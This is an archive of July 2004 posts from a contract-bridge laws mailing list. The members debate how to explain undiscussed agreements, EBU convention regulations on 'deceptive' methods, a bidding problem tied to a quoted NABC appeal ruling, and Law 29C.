From: john@asimere.com (John (MadDog) Probst) Date: Wed, 28 Jul 2004 01:40:08 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: References: Message-ID: <2SnsoFDoXvBBFwga@asimere.com> In article , richard.hills@immi.gov.au writes > > > > >You are a semi-sponsor player partnering a semi-professional >player at a semi-social bridge club for the first time. Your >partnership's two-minute system discussion resulted in an >agreement to play KISS Acol with Benjy Twos. > >Matchpoint pairs >Dlr: North >Vul: All > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- 3NT(1) ?(2) > >You, South, hold: > >J943 >T7 >KT8742 >7 > >(1) Undiscussed. You know that your semi-pro pard does not >know your personal preferred agreement for a 3NT opening. >But, both you and your semi-pro pard know that: > (a) Half the partnerships at this semi-social bridge > club define a 3NT opening as 25-27 hcp, balanced. > (b) Half the partnerships at this semi-social bridge > club play the Gambling 3NT, showing a solid minor. > >(2) Please explain. > >What explanation of your semi-pro pard's 3NT bid do you >give? I explain: (a) Half the partnerships at this semi-social bridge club define a 3NT opening as 25-27 hcp, balanced. (b) Half the partnerships at this semi-social bridge club play the Gambling 3NT, showing a solid minor. and that: both I and my semi-pro pard know that and that: semi-pro pard does not know my personal preferred agreement for a 3NT opening >What other explanations of your semi-pro pard's 3NT bid do >you consider giving? Nothing more. > >Best wishes > >Richard Hills > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Wed Jul 28 01:42:00 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 10:42:00 +1000 Subject: [blml] Deceiving and destroying Message-ID: Wayne Burrows: [snip] >"If you play Stayman then you are allowed to revoke" >this would be a legal regulation under L40D which overrules >the laws in another point of law. In my mind it is equally >absurd to allow a regulation under L40D that overrules what >is written in L40A. Richard Hills: The law is an ass. Merely because a regulation is absurd does *not* necessarily make that regulation illegal. However..... Grattan Endicott has advised that the 2006 Laws will be pared back to a consistent framework. I expect that the 2006 Laws will no longer have the hyper-specific constraint of such phrases as "a hand of a King or more below average strength". I suspect that the 2006 Laws will give SOs a freer hand in regulating agreements to suit local norms. On the other hand, I suspect that the 2006 Laws will have better cross-referencing of permitted exceptions. Thus, I suspect that in 2006 the regulation, "if you play Stayman then you are allowed to revoke," will cease to be legal. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 28 01:48:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 10:48:39 +1000 Subject: [blml] Deceiving and destroying Message-ID: EBU Alert Policy: >>>Nevertheless, players must respect the >>>spirit of the Policy as well as the >>>letter. Tim West-Meads: >>Whatever the "spirit" of the policy it >>cannot directly contradict the letter. [snip] Fowler, "Modern English Usage": >_Petitio principii_ or 'begging the >question'. The fallacy of founding a >conclusion on a basis that as much needs >to be proved as the conclusion itself. > >*Arguing in a circle* is a common variety >of p.p.; other (not circular) examples are >that capital punishment is necessary >because without it murders would increase, >and that democracy must be the best form >of government because the majority are >always right. Best wishes Richard Hills From grabiner@alumni.princeton.edu Wed Jul 28 02:25:08 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Tue, 27 Jul 2004 21:25:08 -0400 Subject: [blml] Odobenus rosmarus In-Reply-To: References: Message-ID: <6.1.2.0.0.20040727212244.01eae320@mail.comcast.net> At 05:54 PM 7/27/2004, richard.hills@immi.gov.au wrote: >You are playing SAYC. > >Imps >Dlr: North >Vul: North-South > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- Pass Pass 1C >1NT Pass 2D(1) Pass >2H Pass Pass ? > >You, South, hold: > >KQ >AK5 >AQ6 >J9842 > >What call do you make? >What other calls do you consider making? I don't see a reasonable call other than pass. I assume that a double is takeout (balancing) here, so I can't do that because I don't have spade support, and anything else I do is asking for -200 or worse. If double shows general values (by agreement), I might consider it. From blml@blakjak.com Wed Jul 28 04:04:23 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 04:04:23 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: <8wOggAI3exBBFwik@blakjak.demon.co.uk> RJH wrote >Richard Hills: > >[snip] > >>>(c) EBU solution - Adopt the De Wael School of >>>ruling that almost all truthful misbidders are >>>deemed to be (for the purposes of the Law 75 >>>footnote) pseudo-misbidding liars. > >[snip] > >David Stevenson: > >>This is a very objectionable statement. it is >>completely untrue, and I am surprised you say >>it. > >[snip] > >Richard Hills: > >Completely untrue in EBU theory. As for the >actual practice by an EBU AC, I refer you to >the extensive discussion on the thread "2003 EBU >casebook, appeal 4". One swallow does not make a summer. To say that we do something illegal and against our published advice because of one decision by an AC seems unfortunate. >Alternatively, you may wish to peruse this >completely true and accurate word-for-word quote >from EBU TD John (MadDog) Probst: > >[snip] > >>>>I don't think there'd be *any* (for *any* read >>>>well not much) argument amongst the English >>>>ACs or TDs about this. Nailing oppo with a >>>>screwed up 5-5 agreement just gets you a bad >>>>score - every time. john You make your statements about how the game is ruled in England based on the ideas of one TD named MadDog? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 04:07:11 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 04:07:11 +0100 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: References: Message-ID: RJH wrote >You are a semi-sponsor player partnering a semi-professional >player at a semi-social bridge club for the first time. Your >partnership's two-minute system discussion resulted in an >agreement to play KISS Acol with Benjy Twos. > >Matchpoint pairs >Dlr: North >Vul: All > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- 3NT(1) ?(2) > >You, South, hold: > >J943 >T7 >KT8742 >7 > >(1) Undiscussed. You know that your semi-pro pard does not >know your personal preferred agreement for a 3NT opening. >But, both you and your semi-pro pard know that: > (a) Half the partnerships at this semi-social bridge > club define a 3NT opening as 25-27 hcp, balanced. > (b) Half the partnerships at this semi-social bridge > club play the Gambling 3NT, showing a solid minor. > >(2) Please explain. > >What explanation of your semi-pro pard's 3NT bid do you >give? "It is undiscussed. I know that my pard does not know my personal preferred agreement for a 3NT opening. But, both he and I know that: (a) Half the partnerships at this semi-social bridge club define a 3NT opening as 25-27 hcp, balanced. (b) Half the partnerships at this semi-social bridge club play the Gambling 3NT, showing a solid minor." -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jul 28 04:08:27 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jul 2004 04:08:27 +0100 Subject: [blml] Odobenus rosmarus In-Reply-To: References: Message-ID: wrote > > > > >You are playing SAYC. > >Imps >Dlr: North >Vul: North-South > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- Pass Pass 1C >1NT Pass 2D(1) Pass >2H Pass Pass ? > >You, South, hold: > >KQ >AK5 >AQ6 >J9842 > >What call do you make? Pass. >What other calls do you consider making? Passing faster. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Wed Jul 28 04:31:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 13:31:07 +1000 Subject: [blml] Deceiving and destroying Message-ID: William Schoder: [snip] >>Will Conditions of Contest continue and add more >>statements whose purpose is to satisfy individual >>proclivities while violating the Laws? Beware >>the Regulators! >> >>Kojak Richard Hills: Indeed, beware the Reg(ulator), who fiddles with the misbidding Law while bunnies are crucified. Monty Python's Life of Brian: >JUDITH: >They've arrested Brian! > >REG: >What? > >COMMANDOS: >What? > >JUDITH: >They've dragged him off! They're going to crucify >him! > >REG: >Right! This calls for immediate discussion! > >COMMANDO #1: >Yeah. > >JUDITH: >What?! > >COMMANDO #2: >Immediate. > >COMMANDO #1: >Right. > >LORETTA: >New motion? > >REG: >Completely new motion, eh, that, ah-- that there >be, ah, immediate action-- > >FRANCIS: >Ah, once the vote has been taken. > >REG: >Well, obviously once the vote's been taken. You >can't act another resolution till you've voted on >it... Best wishes RJH From richard.hills@immi.gov.au Wed Jul 28 04:55:42 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 13:55:42 +1000 Subject: [blml] Deceiving and destroying Message-ID: Jim Hudson asserted: >This thread has confirmed my original >suspicion that the Orange Book's reference >to *deceiving the opponents* is >misconceived. The only deception involved >would arise from the opponents' ignorance >of the meaning of your conventional call-- >either through your infraction in not >disclosing it or through their dereliction >in not finding it out ("protecting >themselves"). These are matters dealt >with elsewhere in the regulations; there >is no occasion for a *separate* regulation >about *deceptive* conventions. [snip] Richard Hills quibbles: In my opinion, there is a slight gap in Jim Hudson's analysis. In my opinion, the fundamental issue is the tension between the Law 75A requirement that agreements are "fully and freely available to the opponents", and the Law 40B caveat "discloses the use of such call or play in accordance with the regulations of the sponsoring organisation". The suggestion that the EBU regulators adopt a Pre-Alert rule has drawn the paraphrased response, "Right! This calls for immediate discussion!" Until such time as the EBU adopts a Pre-Alert reg, its inelegant "deceiving the opponent" reg is necessary. Otherwise, villains will point to the *specific* Law 40B to justify their infractions of the *general* Law 75A. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 28 05:21:20 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 14:21:20 +1000 Subject: [blml] Deceiving and destroying Message-ID: Grattan Endicott: [snip] >I am as little prepared to cast a stone at the >integrity of these as I am at the integrity of >any WBFLC member when, at a key juncture, it >comprised Theus, Howard, Kaplan, Ortiz-Patino, >Besse, Cabanne, Ghose, Harding, Wignall, >Endicott. [snip] Richard Hills: I believe that the integrity of the members of the WBF LC is irrelevant; what is important to the average bunny is the result of their labours. However..... Since Grattan Endicott *does* believe that the above-named worthies all embody impeccable integrity, perhaps a TARDIS trip back two decades would be an interesting exercise. Back then, Howard had just been democratically re-elected WBF President by 8 votes to 6. But the WBF Emeritus President Ortiz-Patino sabotaged Howard's second term by organising a threat from the European Zone to secede. (This was a bridge equivalent of the Cuban missile crisis merely due to a silly personality clash.) Best wishes RJH From richard.hills@immi.gov.au Wed Jul 28 05:56:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 14:56:39 +1000 Subject: [blml] Deceiving and destroying Message-ID: Grattan Endicott: >It saddens me when I learn that Kaplan went >into print with scandal on the motivations of >an unspecified "top ACBL expert". Richard Hills: Clarification. In the relevant Bridge World editorial, Kaplan did not smear an unspecified top expert. Rather, he named names - both the irritating psycher's name, and also the name of the psychee/ACBL Board of Directors member. I was the one who left those names unspecified, because I could not specifically remember them without researching my (disorganised) pile of old Bridge World magazines. The point of Kaplan's 1980ish-vintage editorial was that both of the initial 1950s protagonists were now dead. Kaplan therefore argued that there was no compelling reason for the ACBL to retain its ban on psyching strong artificial calls. It saddens me when I learn that the WBF is going in the other direction, now banning psyches of *all* artificial calls. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 28 06:18:46 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 15:18:46 +1000 Subject: [blml] Odobenus rosmarus Message-ID: Odobenus rosmarus is the scientific name of the walrus. Fortunately, almost all responding blmlers eschewed being Walter the Walrus (automatically reopening with 19 hcp), instead voting for the sane Pass in a hypothetical legal auction. However, unfortunately the table TDs were of the odobenus rosmarus species, ruling that it was illogical to pass out 2H with 19 hcp. See attached. Best wishes Richard Hills {Directions rotated for convenience.} Reno NABC+ Appeal Number Twenty-Three Subject: Tempo NABC Open Swiss, 1st Final Board: 16 Vul: EW Dealer: West Leszek Rabiega 732 97432 T743 T Morrie Kleinplatz Andrew DeSosa J9854 KQ T6 AK5 982 AQ6 A76 J9842 Jaroslaw Plasecki AT6 QJ8 KJ5 KQ53 WEST NORTH EAST SOUTH Pass Pass 1C 1NT Pass 2D(1) Pass(2) 2H 2S Pass Pass Pass (1) Transfer (2) BIT The Facts: The final contract was 2S by West making +3 for NS -140. The opening lead was the club 10- spot. The director was called after West's call of 2S. A BIT was agreed to be about 15-20 seconds. [snip] The Decision: This case presented some serious problems for the committee because of the ruling that was made at the table. (The directors ruled that East would have bid again resulting in a contract of 2S or 3S and therefore no damage to NS.) The committee felt that it was not at all probable that East would act again in the auction. The committee ruled that the contract would be 2H by South. The committee discussed numerous lines of play and decided the most probable result would be down one. The committee then discussed a PP for West for blatant misuse of the UI. There was strong sentiment for a PP except for the fact that the director's ruling created the jeopardy for the "nonoffending side". If the Director had ruled against EW and EW had brought this appeal to committee, they would have received a PP that would have been richly deserved. From TG0JLH1@wpo.cso.niu.edu Wed Jul 28 06:36:22 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 28 Jul 2004 00:36:22 -0500 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills quibbles: . . . In my opinion, the fundamental issue is the tension between the Law 75A requirement that agreements are "fully and freely available to the opponents", and the Law 40B caveat "discloses the use of such call or play in accordance with the regulations of the sponsoring organisation". . . . Until such time as the EBU adopts a Pre-Alert reg, its inelegant "deceiving the opponent" reg is necessary. Otherwise, villains will point to the *specific* Law 40B to justify their infractions of the *general* Law 75A. --------------- I see no tension between 40B and 75A, and I certainly don't see how 40B can bear the interpretation that players have the right to play whatever convention they choose. (Is that how you're interpreting it? If not, I have quite missed your point.) Furthermore, if by 'pre-alert' you mean what passes under that label in ACBL-land, namely a brief announcement when two pairs get together at the table just before beginning play, no rule about pre-alerting will suffice to neutralize the advantage a pair gains by playing unusual, unfamiliar conventions. Unusual, unfamiliar conventions must be regulated; but *deceptive*, *destructive* conventions need not be singled out. Jim Hudson From TG0JLH1@wpo.cso.niu.edu Wed Jul 28 07:08:03 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Wed, 28 Jul 2004 01:08:03 -0500 Subject: [blml] Deceiving and destroying Message-ID: >>> David Stevenson 7/27/2004 6:09:11 PM >>> James Hudson wrote >This thread has confirmed my original suspicion that the Orange Book's >reference to *deceiving the opponents* is misconceived. The only >deception involved would arise from the opponents' ignorance of the >meaning of your conventional call--either through your infraction in not >disclosing it or through their dereliction in not finding it out >("protecting themselves"). These are matters dealt with elsewhere in >the regulations; there is no occasion for a *separate* regulation about >*deceptive* conventions. There are rules for what conventions you are allowed to play, and this is one of them. How are you going to apply such a rule if you remove the rule? -- The rule can say: "You can play only *these* conventions, . . . ." (List, or general specification, follows.) That will automatically exclude the so-called "deceptive" or "destructive" conventions. A rule against deceptive/destructive conventions is *quite superfluous*. Jim Hudson From mfrench1@san.rr.com Wed Jul 28 07:55:18 2004 From: mfrench1@san.rr.com (Marvin French) Date: Tue, 27 Jul 2004 23:55:18 -0700 Subject: [blml] Tuesday night at the Belconnen Labor Club References: Message-ID: <002501c47470$0b08c5e0$6401a8c0@san.rr.com> >From Richard Hills: > > You are a semi-sponsor player partnering a semi-professional > player at a semi-social bridge club for the first time. Your > partnership's two-minute system discussion resulted in an > agreement to play KISS Acol with Benjy Twos. > > Matchpoint pairs > Dlr: North > Vul: All > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- 3NT(1) ?(2) > > You, South, hold: > > J943 > T7 > KT8742 > 7 > > (1) Undiscussed. You know that your semi-pro pard does not > know your personal preferred agreement for a 3NT opening. > But, both you and your semi-pro pard know that: > (a) Half the partnerships at this semi-social bridge > club define a 3NT opening as 25-27 hcp, balanced. > (b) Half the partnerships at this semi-social bridge > club play the Gambling 3NT, showing a solid minor. > > (2) Please explain. > > What explanation of your semi-pro pard's 3NT bid do you > give? The one that accords with the action I intend to take: Either pass, taking partner for 25-27 HCP; or 4C, taking partner for Gambling 3NT. If I guess right, no MI, as partner and I are on the same wavelength and we have a *de facto* partnership agreement. If I guess wrong, there is MI, and the opponents get redress if any damage results. I am not going to evade responsibility by saying "No agreement" when I intend to make a call based on an assumed agreement. > What other explanations of your semi-pro pard's 3NT bid do > you consider giving? > Absolutely none. Marv Marvin L. French San Diego, California From hermandw@hdw.be Wed Jul 28 08:21:24 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jul 2004 09:21:24 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <6.1.1.1.0.20040727083242.02a36a20@pop.starpower.net> References: <4106021A.9000304@hdw.be> <6.1.1.1.0.20040727083242.02a36a20@pop.starpower.net> Message-ID: <410753F4.3070609@hdw.be> No Eric, not necessarily, Eric Landau wrote: > At 03:19 AM 7/27/04, Herman wrote: > >> If 2 players have the same idea about the meaning of a bid, does it >> really matter if they have discussed this between themselves, with a >> known mutual partner, or with some unknown mutual partners? > > > Of course it does. If they have no awareness of any mutual basis for > their "same idea", it must derive from their "general knowledge and > experience", else that phrase has no meaning. > That is of no help to our discussion, Eric, since it is very well possible that they are from a same club and the opponents are not. So the knowledge the two partnerss "share" may not be general. Of course in some cases the "general knowledge" does come into play, but that does not change the fact that this knowledge needs to be known to opponents. The "general knowledge" is not a negation of "full disclosure", it merely means that some things need not be said, because they are assumed known already. So there is quite a number of knowledge that is "shared" but not "general". Does it really matter why it is shared in order for it to be disclosable. Can any pair really prove how they come to share a piece of knowledge? > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jul 28 08:31:42 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jul 2004 09:31:42 +0200 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: References: Message-ID: <4107565E.8030800@hdw.be> richard.hills@immi.gov.au wrote: > > > > You are a semi-sponsor player partnering a semi-professional > player at a semi-social bridge club for the first time. Your > partnership's two-minute system discussion resulted in an > agreement to play KISS Acol with Benjy Twos. > > Matchpoint pairs > Dlr: North > Vul: All > > The bidding has gone: > > WEST NORTH EAST SOUTH > --- 3NT(1) ?(2) > > You, South, hold: > > J943 > T7 > KT8742 > 7 > > (1) Undiscussed. You know that your semi-pro pard does not > know your personal preferred agreement for a 3NT opening. > But, both you and your semi-pro pard know that: > (a) Half the partnerships at this semi-social bridge > club define a 3NT opening as 25-27 hcp, balanced. > (b) Half the partnerships at this semi-social bridge > club play the Gambling 3NT, showing a solid minor. > > (2) Please explain. > > What explanation of your semi-pro pard's 3NT bid do you > give? I find these circumstances incredibly impossible. You're asking us to believe not only that you do not know which of the treatments he prefers, but also that you have not made arrangements on what to do with 22, 24 and 26 HCP? I respectfully decline to give an answer to higly hypothetical questions. > What other explanations of your semi-pro pard's 3NT bid do > you consider giving? > > Best wishes > > Richard Hills > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jul 28 08:36:58 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jul 2004 09:36:58 +0200 Subject: [blml] Tuesday night at the Belconnen Labor Club In-Reply-To: <002501c47470$0b08c5e0$6401a8c0@san.rr.com> References: <002501c47470$0b08c5e0$6401a8c0@san.rr.com> Message-ID: <4107579A.3050202@hdw.be> Well Marvin, much as I respect your willingness to explain more than the other responders on this list, you are going a bit too far. Marvin French wrote: >> >>What explanation of your semi-pro pard's 3NT bid do you >>give? > > > The one that accords with the action I intend to take: Either pass, taking > partner for 25-27 HCP; or 4C, taking partner for Gambling 3NT. If I guess > right, no MI, as partner and I are on the same wavelength and we have a *de > facto* partnership agreement. If I guess wrong, there is MI, and the > opponents get redress if any damage results. > This is not correct. Of course you explain the two options and the reasons why you believe one or the other, but if it is really undiscussed, your partner is hoping that you can see in your cards which of the two it is. But since you are not required to reveal things that you deduce from the content of your hand, you need not go further than that. > I am not going to evade responsibility by saying "No agreement" when I > intend to make a call based on an assumed agreement. > That is commendary. > >>What other explanations of your semi-pro pard's 3NT bid do >>you consider giving? >> > > Absolutely none. > > Marv > Marvin L. French > San Diego, California > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From richard.hills@immi.gov.au Wed Jul 28 08:48:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 28 Jul 2004 17:48:08 +1000 Subject: [blml] Tuesday night at the Belconnen Labor Club Message-ID: Herman De Wael: >I find these circumstances incredibly impossible. >You're asking us to believe not only that you do >not know which of the treatments he prefers, but >also that you have not made arrangements on what >to do with 22, 24 and 26 HCP? > >I respectfully decline to give an answer to >highly hypothetical questions. Richard Hills: Herman, as an experienced TD, surely by now you should know that truth is stranger than fiction, and a TD is required to believe six impossible things before breakfast? This auction actually happened - because (of course) I was the semi-pro who deliberately perpetrated an undiscussed 3NT. And I have an independent witness! The kibitzing TD is a blml lurker. Okay, to avoid a slow play penalty, how do you answer the questions? :-) Best wishes RJH From jean-pierre.rocafort@meteo.fr Wed Jul 28 08:56:44 2004 From: jean-pierre.rocafort@meteo.fr (jean-pierre.rocafort@meteo.fr) Date: Wed, 28 Jul 2004 09:56:44 +0200 Subject: [blml] =?iso-8859-1?Q?R=E9f=2E_=3A_[blml]_Tuesday_night_at_the_Belconnen_Labor?= Club Message-ID: richard.hills@immi.gov.au Envoy=E9 par : blml-admin@rtflb.org 27/07/2004 23:44 =20 Pour : blml@rtflb.org cc :=20 Objet : [blml] Tuesday night at the Belconnen Labor Club You are a semi-sponsor player partnering a semi-professional player at a semi-social bridge club for the first time. Your partnership's two-minute system discussion resulted in an agreement to play KISS Acol with Benjy Twos. Matchpoint pairs Dlr: North Vul: All The bidding has gone: WEST NORTH EAST SOUTH --- 3NT(1) ?(2) You, South, hold: J943 T7 KT8742 7 (1) Undiscussed. You know that your semi-pro pard does not know your personal preferred agreement for a 3NT opening. But, both you and your semi-pro pard know that: (a) Half the partnerships at this semi-social bridge club define a 3NT opening as 25-27 hcp, balanced. (b) Half the partnerships at this semi-social bridge club play the Gambling 3NT, showing a solid minor. (2) Please explain. What explanation of your semi-pro pard's 3NT bid do you give? *** all the stuff you wrote down before your question, except south hand=20 diagram, of course. *** =20 What other explanations of your semi-pro pard's 3NT bid do you consider giving? *** i think your description was quite extensive. one may add the whole=20 semi-pro's biography, maybe. jp rocafort *** Best wishes Richard Hills =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F Jean-Pierre Rocafort METEO-FRANCE DSI/SC/D 42 Avenue Gaspard Coriolis 31057 Toulouse CEDEX Tph: 05 61 07 81 02 (33 5 61 07 81 02) Fax: 05 61 07 81 09 (33 5 61 07 81 09) e-mail: jean-pierre.rocafort@meteo.fr Serveur WWW METEO-FRANCE: http://www.meteo.fr =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F From t.kooyman@worldonline.nl Wed Jul 28 08:39:18 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 28 Jul 2004 09:39:18 +0200 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> Message-ID: <009601c4747a$a8338f80$1280b6d4@LNV> Kojak wrote: > > Exception to WHAT? 40A? Come on now, 40A talks about rights of call= ing > and > > playing. 40D Talks about Regulation of Conventions. It takes more t= han a > > twist of logic for me to make D an Exception to A. D was added some t= ime > ago > > to pacify the high level players (even if they weren't so high level = but > > thought themselves to be so) when they got bad results from not payin= g > > attention to the game. D was a boldfaced attempt to make the game of > bridge > > something it had not been up until then. It gave the sponsoring > > organization the right to remove the uncertainty principle upon which all > of > > bridge had been predicated in the past, and relieved the "expert" of being > > wrong. It is interesting -- to me -- that the impulse to move in this > > direction has come almost exclusively from the political side of the > house, > > and from those "experts" who got bad results during my 40 years as as TD. > +=3D+ Your history is flawed. This view that the power to > regulate conventions is an unlimited power was supported by > the WBFLC under Ed Theus' chairmanship before you > joined it, and has been maintained consistently since then. > Wayne merely does not accept the authority of the WBFLC > to interpret the meaning of the laws, but that is his problem > with authority. The world moves on. > In the 1975 Laws, devised under the chairmanship of > Geoffrey Butler, the relevant clause was > "40(c) the Sponsoring Organisation may regulate > the use of conventions". > I repeat that the power to regulate conventions has been > determined on repeated occasions to allow of the prohibition > of their psyching, overriding in the case of conventions the > general statement in 40A, and the WBF, the EBL and the > ACBL, have all made use of this power. In the meantime it > will be interesting to see whether the prohibition in the > Supplementary Conditions of Contest for the Olympiad 2004 > will be extended in the Systems Policy or in the General > Conditions of Contest to apply in all categories of WBF > tournaments as a leading authority has proposed. > ~ Grattan ~ +=3D+ > Please Grattan, stop with this 'crap' (thank you Noel). Kojak's history is not flawed at all. Even in this case it was Jos=EB Dam= iani who in Sweden was confronted with an artificial psyche and was surprised that the EBL hadn't a regulation forbidding it. Told the WBF hadn't one either he wanted it to be included. And you were more than willing to do = it. So your information is wrong, it wasn't 'A leading authority' it was 'TH= E leading authority'. And stop with the 'crap' (thank you Noel) of laws supporting it. They don= 't. The leading authorities have supported it, and then laws are not that important anymore. We come up with an interpretation and tell people to s= hut up. I believe that Wayne accepts the authority of the WBF to interpret the meaning of the laws. We have to accept that his capability of reading mig= ht be too good to ever convince him that our interpretation is in accordance with the laws. But then we just keep saying that they are, and we WIN!!!!= ! ton From t.kooyman@worldonline.nl Wed Jul 28 08:54:52 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 28 Jul 2004 09:54:52 +0200 Subject: [blml] Deceiving and destroying References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CC6@lonsc-s-031.europe.shell.com> Message-ID: <009701c4747a$a89b7910$1280b6d4@LNV> > What the heck is ambiguous about the following statement from the official > EBL alerting policy on their website? > > If screens are not in use, do NOT alert the following: > 2. Any no-trump bid which suggests a balanced or semi-balanced hand, or > suggests a no-trump contract. > > A mini-NT is NOT alertable. Any TD who ruled otherwise in an EBL event > should be sent home in disgrace! This is surely not a matter for > "interpretation", nor should we support the idea that individual TDs are > entitled to overrule the published CoC. While I agree with Ton that his > "instruction" creates an obligation to alert I think this is grossly > unfair on the pair concerned and the situation should have lasted no > longer than it took the TD to check the EBL regs - nb I assume that EBL > regs are implicit (at least) in EBL competition. > > Tim Good research Tim. It would have been better even if you had tried to find out whether this regulation applied during this event. And it didn't as far as I remember. Reading my message carefully you could have noticed that it didn't. You still owe me an explanation about 'grossly unfair on the pair'. It seems to say that taking away an advantage by not allowing undisclosed agreements is not a fair approach. But you can't mean that, do you? ton ----------------------------------------- Frances: If the TD decided that the regulations meant that a mini NT should be alerted, then it should be announced (e.g in the Bulletin) and everyone playing the mini should alert. It just seems bizarre to me to make one particular pair alert it. ((((((((((( ton: 'Bizarre' I can live with. Certainly better than 'grossly unfair'. This develops like a typical blml discussion, floating away from the subject, critizing people and showing no experience in field work at all. When I am called to a table I have to take measures at that moment. And I considered it grossly unfair that this pair should be able to continue playing without disclosing this weapon. So I told them to alert this 1NT. And yes, with a good organization, we make sure that all pairs become aware of it. Not because of an otherwise grossly unfair treatment of this pair, but because all pairs playing this 1NT should alert their opponents. ton From t.kooyman@worldonline.nl Wed Jul 28 09:10:25 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 28 Jul 2004 10:10:25 +0200 Subject: [blml] Law 29 C References: <200407271523.i6RFNGqx029328@athena.ccrs.nrcan.gc.ca> <003101c4741f$2a1abca0$6400a8c0@supersuperbe> Message-ID: <009801c4747a$a907f680$1280b6d4@LNV> Roger Eymard asked why insufficient conventional calls in L27 are not dealt with as in L30 - 32. and part of the answer from John was: > As for what was in the mind of the writer of the Law ... don't even ask ((((((( ton: You may ask but the answer is not always something to be proud of. We solved a problem introducing the idea as expressed in L29 but we didn't solve enough. That is the answer. And we are aware of it. So wait and see. )))))) From Frances.Hinden@Shell.com Wed Jul 28 09:19:13 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 28 Jul 2004 09:19:13 +0100 Subject: [blml] Deceiving and destroying Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CCB@lonsc-s-031.europe.shell.com> At 11:12 AM 7/27/04, Hinden wrote: >I don't see why this follows. There very definitely was a problem, and = it >was fixed with this rule. Look at it this way: suppose your=20 >opponents have >a small computer screen in front of them explaining what all your bids=20 >mean, >alerted or not (after all, isn't this the goal of complete = disclosure?). > >Methods that simply don't work in that scenario are banned i.e.=20 >methods that >are purely designed to confuse you as to their meaning. Who is to say what a particular method is "purely designed" to do,=20 other than the person who designed it? Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 --------------------------------------------------------------- Why did you bother cutting the next paragraph of my post where I made 